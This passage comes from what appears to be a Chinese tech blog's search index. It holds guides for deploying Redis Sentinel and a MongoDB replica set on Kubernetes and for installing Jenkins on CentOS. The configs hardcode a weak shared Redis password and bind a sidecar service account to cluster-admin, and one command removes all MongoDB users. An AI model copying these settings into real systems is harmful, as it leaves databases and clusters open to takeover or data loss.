class="string">hash-max-ziplist-value</span> <span class="number">64</span></span><br><span class="line"><span class="string">list-max-ziplist-size</span> <span class="number">-2</span></span><br><span class="line"><span class="string">list-compress-depth</span> <span class="number">0</span></span><br><span class="line"><span class="string">set-max-intset-entries</span> <span class="number">512</span></span><br><span class="line"><span class="string">zset-max-ziplist-entries</span> <span class="number">128</span></span><br><span class="line"><span class="string">zset-max-ziplist-value</span> <span class="number">64</span></span><br><span class="line"><span class="string">hll-sparse-max-bytes</span> <span class="number">3000</span></span><br><span class="line"><span class="string">activerehashing</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">client-output-buffer-limit</span> <span class="string">normal</span> <span class="number">0</span> <span class="number">0</span> <span class="number">0</span></span><br><span class="line"><span class="string">client-output-buffer-limit</span> <span class="string">slave</span> <span class="string">256mb</span> <span class="string">64mb</span> <span class="number">60</span></span><br><span class="line"><span class="string">client-output-buffer-limit</span> <span class="string">pubsub</span> <span class="string">32mb</span> <span class="string">8mb</span> <span class="number">60</span></span><br><span class="line"><span class="string">hz</span> <span class="number">10</span></span><br><span class="line"><span class="string">aof-rewrite-incremental-fsync</span> <span class="literal">yes</span></span><br><span class="line"><span class="comment">#客户端最大连接数</span></span><br><span class="line"><span class="comment">#maxclients 20000</span></span><br><span class="line"><span class="comment">#lazyfree-lazy-eviction yes</span></span><br><span class="line"><span class="comment">#lazyfree-lazy-expire yes</span></span><br><span class="line"><span class="comment">#lazyfree-lazy-server-del yes</span></span><br><span class="line"><span class="comment">#slave-lazy-flush yes</span></span><br></pre></td></tr></table></figure><h3 id="sentinel-conf"><a href="#sentinel-conf" class="headerlink" title="sentinel.conf"></a>sentinel.conf</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 哨兵sentinel实例运行的端口 默认26379</span></span><br><span class="line"><span class="string">port</span> <span class="number">26379</span></span><br><span class="line"><span class="comment"># 哨兵sentinel的工作目录</span></span><br><span class="line"><span class="string">dir</span> <span class="string">&quot;/tmp&quot;</span></span><br><span class="line"><span class="string">sentinel</span> <span class="string">deny-scripts-reconfig</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">sentinel</span> <span class="string">monitor</span> <span class="string">mymaster</span> <span class="string">redis-0.redis</span> <span class="number">6379 </span><span class="number">2</span></span><br><span class="line"><span class="string">sentinel</span> <span class="string">auth-pass</span> <span class="string">mymaster</span> <span class="string">a12345678</span></span><br><span class="line"><span class="string">sentinel</span> <span class="string">down-after-milliseconds</span> <span class="string">mymaster</span> <span class="number">5000</span></span><br><span class="line"><span class="string">sentinel</span> <span class="string">failover-timeout</span> <span class="string">mymaster</span> <span class="number">15000</span></span><br><span class="line"><span class="comment"># 设定5秒内没有响应，说明服务器挂了,需要将配置放在sentinel monitor master 127.0.0.1 6379 下面</span></span><br><span class="line"><span class="string">sentinel</span> <span class="string">parallel-syncs</span> <span class="string">mymaster</span> <span class="number">2</span></span><br><span class="line"><span class="comment"># 设定15秒内master没有活起来，就重新选举主</span></span><br><span class="line"><span class="string">sentinel</span> <span class="string">config-epoch</span> <span class="string">mymaster</span> <span class="number">3</span></span><br><span class="line"><span class="comment">#.表示如果master重新选出来后，其它slave节点能同时并行从新master同步缓存的台数有多少个，显然该值越大，所有slave节点完成同步切换的整体速度越快，但如</span></span><br><span class="line"><span class="comment">#果此时正好有人在访问这些slave，可能造#成读取失败，影响面会更广。最保定的设置为1，只同一时间，只能有一台干这件事，这样其它slave还能继续服务，但是所</span></span><br><span class="line"><span class="comment">#有slave全部完成缓存更新同步的进程将变慢。</span></span><br><span class="line"><span class="string">sentinel</span> <span class="string">leader-epoch</span> <span class="string">mymaster</span> <span class="number">3</span></span><br><span class="line"><span class="string">SENTINEL</span> <span class="string">resolve-hostnames</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">SENTINEL</span> <span class="string">announce-hostnames</span> <span class="literal">yes</span></span><br></pre></td></tr></table></figure><h3 id="构建redis镜像"><a href="#构建redis镜像" class="headerlink" title="构建redis镜像"></a>构建redis镜像</h3><p>我这边已经构建好, 也可以自己构建,</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">k9scc/base-env:redis-7-sentinel</span> <span class="comment">#redis密码a12345678</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/9042732937293f08aa5ab61b6af8777489e4f5527e8eb287c2140004505b699d.jpg" alt="k8s-redis-sentinel-0">  </p><p>把Dockerfile, run.sh, redis.conf, sentinel.conf放在一个目录下,然后执行下面的命令</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker build -t docker用户名/项目名:tag .</span><br><span class="line">docker push docker用户名/项目名:tag</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b830908e00be9565061e2943f6f6628a34a215a8d2750a366e8c841c4ee28984.jpg" alt="k8s-redis-sentinel-1">  </p><h2 id="k8s部署redis-并使用存储类持久化存储"><a href="#k8s部署redis-并使用存储类持久化存储" class="headerlink" title="k8s部署redis, 并使用存储类持久化存储"></a>k8s部署redis, 并使用存储类持久化存储</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Namespace</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">redis-cluster</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">StatefulSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">redis</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">redis-cluster</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">serviceName:</span> <span class="string">redis</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">redis</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">redis</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">nodeSelector:</span> &#123;&#125;</span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">redis</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">k9scc/base-env:redis-7-sentinel</span></span><br><span class="line">          <span class="attr">imagePullPolicy:</span> <span class="string">Always</span></span><br><span class="line">          <span class="attr">env:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">POD_NAME</span></span><br><span class="line">              <span class="attr">valueFrom:</span></span><br><span class="line">                <span class="attr">fieldRef:</span></span><br><span class="line">                  <span class="attr">fieldPath:</span> <span class="string">metadata.name</span></span><br><span class="line">          <span class="attr">livenessProbe:</span></span><br><span class="line">            <span class="attr">tcpSocket:</span></span><br><span class="line">              <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">            <span class="attr">initialDelaySeconds:</span> <span class="number">3</span></span><br><span class="line">            <span class="attr">periodSeconds:</span> <span class="number">5</span></span><br><span class="line">          <span class="attr">readinessProbe:</span></span><br><span class="line">            <span class="attr">tcpSocket:</span></span><br><span class="line">              <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">            <span class="attr">initialDelaySeconds:</span> <span class="number">3</span></span><br><span class="line">            <span class="attr">periodSeconds:</span> <span class="number">5</span></span><br><span class="line">          <span class="attr">ports:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">6379</span></span><br><span class="line">          <span class="attr">resources:</span></span><br><span class="line">            <span class="attr">requests:</span></span><br><span class="line">              <span class="attr">memory:</span> <span class="string">256Mi</span></span><br><span class="line">              <span class="attr">cpu:</span> <span class="string">50m</span></span><br><span class="line">            <span class="attr">limits:</span></span><br><span class="line">              <span class="attr">memory:</span> <span class="string">2048Mi</span></span><br><span class="line">              <span class="attr">cpu:</span> <span class="string">1000m</span></span><br><span class="line">          <span class="attr">volumeMounts:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">redis-pv-claim</span></span><br><span class="line">            <span class="attr">mountPath:</span> <span class="string">/data</span></span><br><span class="line">            <span class="attr">readOnly:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">volumeClaimTemplates:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">redis-pv-claim</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">accessModes:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">ReadWriteOnce</span></span><br><span class="line">      <span class="attr">resources:</span></span><br><span class="line">        <span class="attr">requests:</span></span><br><span class="line">          <span class="attr">storage:</span> <span class="string">10Gi</span></span><br><span class="line">      <span class="attr">storageClassName:</span> <span class="string">openebs-hostpath</span> <span class="comment">#修改为自己环境的存储类</span></span><br><span class="line"></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">redis</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">redis-cluster</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">redis</span></span><br><span class="line">      <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">      <span class="attr">targetPort:</span> <span class="number">6379</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">redis</span></span><br></pre></td></tr></table></figure><h2 id="连接"><a href="#连接" class="headerlink" title="连接"></a>连接</h2><h3 id="连接哨兵-使用26379端口"><a href="#连接哨兵-使用26379端口" class="headerlink" title="连接哨兵 使用26379端口"></a>连接哨兵 使用26379端口</h3><p>java 连接redis哨兵配置</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">database:</span> <span class="number">4</span> <span class="comment">#redis数据库</span></span><br><span class="line">    <span class="attr">sentinel:</span></span><br><span class="line">      <span class="attr">master:</span> <span class="string">mymaster</span></span><br><span class="line">      <span class="attr">nodes:</span> <span class="string">redis://redis-0.redis.redis-cluster.svc.cluster.local:26379,redis://redis-1.redis.redis-cluster.svc.cluster.local:26379,redis://redis-2.redis.redis-cluster.svc.cluster.local:26379</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">a12345678</span> <span class="comment">#redis密码</span></span><br></pre></td></tr></table></figure><h3 id="客户端连接redis-使用podip-6379端口"><a href="#客户端连接redis-使用podip-6379端口" class="headerlink" title="客户端连接redis, 使用podip + 6379端口"></a>客户端连接redis, 使用podip + 6379端口</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli 10.1.x.x -a a12345678</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> sample </category>
          
      </categories>
      
      
        <tags>
            
            <tag> redis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>k8s 部署mongodb</title>
      <link href="/archives/kubernetes/sample/k8s-mongodb.html"/>
      <url>/archives/kubernetes/sample/k8s-mongodb.html</url>
      
        <content type="html"><![CDATA[<p>以下是一个k8s上部署mongodb的简单例子 创建了一个<code>mongodb</code>的namespace, 创建了<code>SA</code>, <code>clusterrole</code>,名为<code>mongo</code>的服务, 名为<code>mongo</code>的3个有状态副本</p><h3 id="mongo-yaml"><a href="#mongo-yaml" class="headerlink" title="mongo.yaml"></a>mongo.yaml</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># mongo.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Namespace</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">mongodb</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">mongo</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">mongodb</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">rbac.authorization.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ClusterRoleBinding</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">mongo</span></span><br><span class="line"><span class="attr">subjects:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">kind:</span> <span class="string">ServiceAccount</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">mongo</span></span><br><span class="line">    <span class="attr">namespace:</span> <span class="string">mongodb</span></span><br><span class="line"><span class="attr">roleRef:</span></span><br><span class="line">  <span class="attr">kind:</span> <span class="string">ClusterRole</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">cluster-admin</span></span><br><span class="line">  <span class="attr">apiGroup:</span> <span class="string">rbac.authorization.k8s.io</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">mongo</span></span><br><span class="line"> <span class="attr">namespace:</span> <span class="string">mongodb</span></span><br><span class="line"> <span class="attr">labels:</span></span><br><span class="line">   <span class="attr">name:</span> <span class="string">mongo</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"> <span class="attr">ports:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">port:</span> <span class="number">27017</span></span><br><span class="line">   <span class="attr">targetPort:</span> <span class="number">27017</span></span><br><span class="line"> <span class="attr">clusterIP:</span> <span class="string">None</span></span><br><span class="line"> <span class="attr">selector:</span></span><br><span class="line">   <span class="attr">role:</span> <span class="string">mongo</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">StatefulSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">mongo</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">mongodb</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">serviceName:</span> <span class="string">mongo</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">3</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">role:</span> <span class="string">mongo</span></span><br><span class="line">      <span class="attr">environment:</span> <span class="string">staging</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">role:</span> <span class="string">mongo</span></span><br><span class="line">        <span class="attr">environment:</span> <span class="string">staging</span></span><br><span class="line">        <span class="attr">replicaset:</span> <span class="string">MainRepSet</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">affinity:</span></span><br><span class="line">        <span class="attr">podAntiAffinity:</span>  <span class="comment"># 添加 Pod 反亲和性，将副本打散在不同的节点</span></span><br><span class="line">          <span class="attr">preferredDuringSchedulingIgnoredDuringExecution:</span>  <span class="comment"># 软策略</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">weight:</span> <span class="number">100</span></span><br><span class="line">            <span class="attr">podAffinityTerm:</span></span><br><span class="line">              <span class="attr">labelSelector:</span></span><br><span class="line">                <span class="attr">matchExpressions:</span></span><br><span class="line">                <span class="bullet">-</span> <span class="attr">key:</span> <span class="string">replicaset</span></span><br><span class="line">                  <span class="attr">operator:</span> <span class="string">In</span></span><br><span class="line">                  <span class="attr">values:</span></span><br><span class="line">                  <span class="bullet">-</span> <span class="string">MainRepSet</span></span><br><span class="line">              <span class="attr">topologyKey:</span> <span class="string">kubernetes.io/hostname</span></span><br><span class="line">      <span class="attr">terminationGracePeriodSeconds:</span> <span class="number">10</span></span><br><span class="line">      <span class="attr">serviceAccountName:</span> <span class="string">mongo</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mongo</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">mongo:4.4</span></span><br><span class="line">          <span class="attr">command:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">mongod</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">&quot;--wiredTigerCacheSizeGB&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">&quot;0.25&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">&quot;--bind_ip&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">&quot;0.0.0.0&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">&quot;--replSet&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">MainRepSet</span></span><br><span class="line">            <span class="comment">#- &quot;--smallfiles&quot;</span></span><br><span class="line">            <span class="comment">#- &quot;--noprealloc&quot;</span></span><br><span class="line">          <span class="attr">ports:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">27017</span></span><br><span class="line">          <span class="attr">volumeMounts:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mongo-data</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/data/db</span></span><br><span class="line">          <span class="attr">resources:</span></span><br><span class="line">            <span class="attr">requests:</span></span><br><span class="line">              <span class="attr">cpu:</span> <span class="number">1</span></span><br><span class="line">              <span class="attr">memory:</span> <span class="string">2Gi</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mongo-sidecar</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">cvallance/mongo-k8s-sidecar</span></span><br><span class="line">          <span class="attr">env:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">MONGO_SIDECAR_POD_LABELS</span></span><br><span class="line">              <span class="attr">value:</span> <span class="string">&quot;role=mongo,environment=staging&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">KUBE_NAMESPACE</span></span><br><span class="line">              <span class="attr">value:</span> <span class="string">&quot;mongo&quot;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">KUBERNETES_MONGO_SERVICE_NAME</span></span><br><span class="line">              <span class="attr">value:</span> <span class="string">&quot;mongo&quot;</span></span><br><span class="line">  <span class="attr">volumeClaimTemplates:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">mongo-data</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">accessModes:</span> [ <span class="string">&quot;ReadWriteOnce&quot;</span> ]</span><br><span class="line">      <span class="attr">storageClassName:</span> <span class="string">openebs-hostpath</span> <span class="comment"># 提供一个可用的 Storageclass</span></span><br><span class="line">      <span class="attr">resources:</span></span><br><span class="line">        <span class="attr">requests:</span></span><br><span class="line">          <span class="attr">storage:</span> <span class="string">30Gi</span></span><br></pre></td></tr></table></figure><h3 id="3个pod启动以后-进入其中一个pod-然后执行集群创建命令"><a href="#3个pod启动以后-进入其中一个pod-然后执行集群创建命令" class="headerlink" title="3个pod启动以后, 进入其中一个pod,然后执行集群创建命令"></a>3个pod启动以后, 进入其中一个pod,然后执行集群创建命令</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n mongodb <span class="built_in">exec</span> -it mongo-0 -- mongo</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">rs.status()</span> <span class="comment">#查看集群状态</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#创建集群</span></span><br><span class="line"><span class="string">config</span> <span class="string">=</span> &#123; <span class="string">_id:&quot;MainRepSet&quot;</span>, <span class="string">members:</span>[</span><br><span class="line">                     &#123;<span class="string">_id:0</span>,<span class="string">host:&quot;mongo-0.mongo.mongodb.svc.cluster.local:27017&quot;</span>,<span class="string">priority:90</span>&#125;,</span><br><span class="line">                     &#123;<span class="string">_id:1</span>,<span class="string">host:&quot;mongo-1.mongo.mongodb.svc.cluster.local:27017&quot;</span>,<span class="string">priority:80</span>&#125;,</span><br><span class="line">                     &#123;<span class="string">_id:2</span>,<span class="string">host:&quot;mongo-2.mongo.mongodb.svc.cluster.local:27017&quot;</span>,<span class="string">priority:70</span>&#125;</span><br><span class="line">    ]</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="string">rs.initiate(config);</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">rs.status()</span> <span class="comment">#查看集群状态</span></span><br></pre></td></tr></table></figure><p>优化</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">set</span> -o errexit</span><br><span class="line"><span class="built_in">set</span> -o pipefail</span><br><span class="line"><span class="built_in">set</span> -o nounset</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;never&#x27;</span> &gt; /sys/kernel/mm/transparent_hugepage/enabled</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;never&#x27;</span> &gt; /sys/kernel/mm/transparent_hugepage/defrag</span><br></pre></td></tr></table></figure><h2 id="设置或修改密码"><a href="#设置或修改密码" class="headerlink" title="设置或修改密码"></a>设置或修改密码</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#查看数据库</span></span><br><span class="line">show dbs</span><br><span class="line"></span><br><span class="line"><span class="comment">#切换admin库</span></span><br><span class="line">use admin</span><br><span class="line"></span><br><span class="line"><span class="comment">#创建管理员账户,用于管理账号，不能进行关闭数据库</span></span><br><span class="line">db.createUser(&#123; user: <span class="string">&quot;admin&quot;</span>, <span class="built_in">pwd</span>: <span class="string">&quot;password&quot;</span>, roles: [&#123; role: <span class="string">&quot;userAdminAnyDatabase&quot;</span>, db: <span class="string">&quot;admin&quot;</span> &#125;] &#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">#创建root,超级管理员root,可关闭数据库</span></span><br><span class="line">db.createUser(&#123;user: <span class="string">&quot;root&quot;</span>,<span class="built_in">pwd</span>: <span class="string">&quot;password&quot;</span>, roles: [ &#123; role: <span class="string">&quot;root&quot;</span>, db: <span class="string">&quot;admin&quot;</span> &#125; ]&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">#创建用户自己的数据库的管理角色,一定要切换到所在数据库上去创建用户，不然创建的用户还是属于admin。</span></span><br><span class="line">use yourdatabase</span><br><span class="line">db.createUser(&#123;user: <span class="string">&quot;user&quot;</span>,<span class="built_in">pwd</span>: <span class="string">&quot;password&quot;</span>,roles: [ &#123; role: <span class="string">&quot;dbOwner&quot;</span>, db: <span class="string">&quot;yourdatabase&quot;</span> &#125; ]&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">#查看用户</span></span><br><span class="line">show <span class="built_in">users</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#删库用户</span></span><br><span class="line">use admin</span><br><span class="line">db.auth(<span class="string">&quot;admin&quot;</span>,<span class="string">&quot;password&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#删除单个用户</span></span><br><span class="line">db.system.users.remove(&#123;user:<span class="string">&quot;XXXXXX&quot;</span>&#125;)</span><br><span class="line"><span class="comment">#删除所有用户</span></span><br><span class="line">db.system.users.remove(&#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">#连接字符串</span></span><br><span class="line">mongodb://username:password@ip:port/database </span><br><span class="line">mongodb://username:password@ip0:port,ip1:port,ip2:port/database?replicaSet=MainRepSet</span><br></pre></td></tr></table></figure><p>springboot 在nacos中的配置</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">mongodb:</span></span><br><span class="line">  <span class="attr">uri:</span> <span class="string">mongodb://mongo-0.mongo.mongodb.svc.cluster.local:27017,mongo-1.mongo.mongodb.svc.cluster.local:27017,mongo-2.mongo.mongodb.svc.cluster.local:27017/database?replicaSet=MainRepSet</span></span><br><span class="line">  <span class="attr">auto-index-creation:</span> <span class="literal">true</span> <span class="comment"># 默认为false，即不会自动创建索引</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> sample </category>
          
      </categories>
      
      
        <tags>
            
            <tag> mongodb </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Centos安装Jenkins和配置</title>
      <link href="/archives/tools/centos-install-Jenkins.html"/>
      <url>/archives/tools/centos-install-Jenkins.html</url>
      
        <content type="html"><![CDATA[<h2 id="安装Jenkins"><a href="#安装Jenkins" class="headerlink" title="安装Jenkins"></a>安装Jenkins</h2><p>添加源并安装</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat/jenkins.repo</span><br><span class="line">rpm --import https://pkg.jenkins.io/redhat/jenkins.io-2023.key</span><br><span class="line"></span><br><span class="line">yum install fontconfig java-11-openjdk</span><br><span class="line">yum install jenkins</span><br></pre></td></tr></table></figure><h2 id="Jenkins-下载加速"><a href="#Jenkins-下载加速" class="headerlink" title="Jenkins 下载加速"></a>Jenkins 下载加速</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json</span></span><br></pre></td></tr></table></figure><p>如需修改请 导航到: 系统管理 –&gt; 插件管理 –&gt; 高级设置 –&gt; 升级站点</p><p><img src="https://images.hao.kim/uploads/2024/12/db3f0c8213b6143f928c1c532b179db41446252ae809716e64e6d837f5df9916.jpg" alt="centos-install-Jenkins-0">  </p><p>默认地址是 <code>https://updates.jenkins.io/update-center.json</code></p><h2 id="Jenkins使用本机的docker"><a href="#Jenkins使用本机的docker" class="headerlink" title="Jenkins使用本机的docker"></a>Jenkins使用本机的docker</h2><p>Jenkins运行使用<code>Jenkins</code>用户, 而docker组中么有Jenkins,导致Jenkins使用本地dockers无权限 解决办法是, 把Jenkins用户添加到docker组中即可</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#查看是否有dockers权限</span></span><br><span class="line"><span class="built_in">sudo</span> -u jenkins -H docker info</span><br><span class="line"><span class="comment">#添加Jenkins到docker组</span></span><br><span class="line">usermod -aG docker jenkins</span><br><span class="line"><span class="comment">#查看是否有dockers权限</span></span><br><span class="line"><span class="built_in">sudo</span> -u jenkins -H docker info</span><br></pre></td></tr></table></figure><h2 id="pipeline"><a href="#pipeline" class="headerlink" title="pipeline"></a>pipeline</h2><h3 id="简单的pipeline"><a href="#简单的pipeline" class="headerlink" title="简单的pipeline"></a>简单的pipeline</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">pipeline</span> &#123;</span><br><span class="line">    <span class="string">agent</span> &#123;</span><br><span class="line">        <span class="string">docker</span> &#123; </span><br><span class="line">            <span class="string">image</span> <span class="string">&#x27;使用的image镜像地址&#x27;</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="string">stages</span> &#123;</span><br><span class="line">        <span class="string">stage(&#x27;git</span> <span class="string">project&#x27;)</span> &#123;</span><br><span class="line">            <span class="string">steps</span> &#123;</span><br><span class="line">                <span class="attr">git branch:</span> <span class="string">&#x27;main&#x27;</span>, <span class="attr">credentialsId:</span> <span class="string">&#x27;gitlab-root # gitlab认证&#x27;</span>, <span class="attr">url:</span> <span class="string">&#x27;git地址&#x27;</span></span><br><span class="line">                <span class="string">sh</span> <span class="string">&#x27;ls -lsa&#x27;</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="string">stage(&#x27;build&#x27;)</span> &#123;</span><br><span class="line">            <span class="string">steps</span> &#123;</span><br><span class="line">                <span class="string">sh</span> <span class="string">&#x27;mvn -v&#x27;</span></span><br><span class="line">                <span class="string">sh</span> <span class="string">&#x27;mvn clean package &quot;-Dmaven.test.skip=true&quot; -Pprod&#x27;</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="更新Jenkins"><a href="#更新Jenkins" class="headerlink" title="更新Jenkins"></a>更新Jenkins</h2><ol><li>yum 直接更新 yum 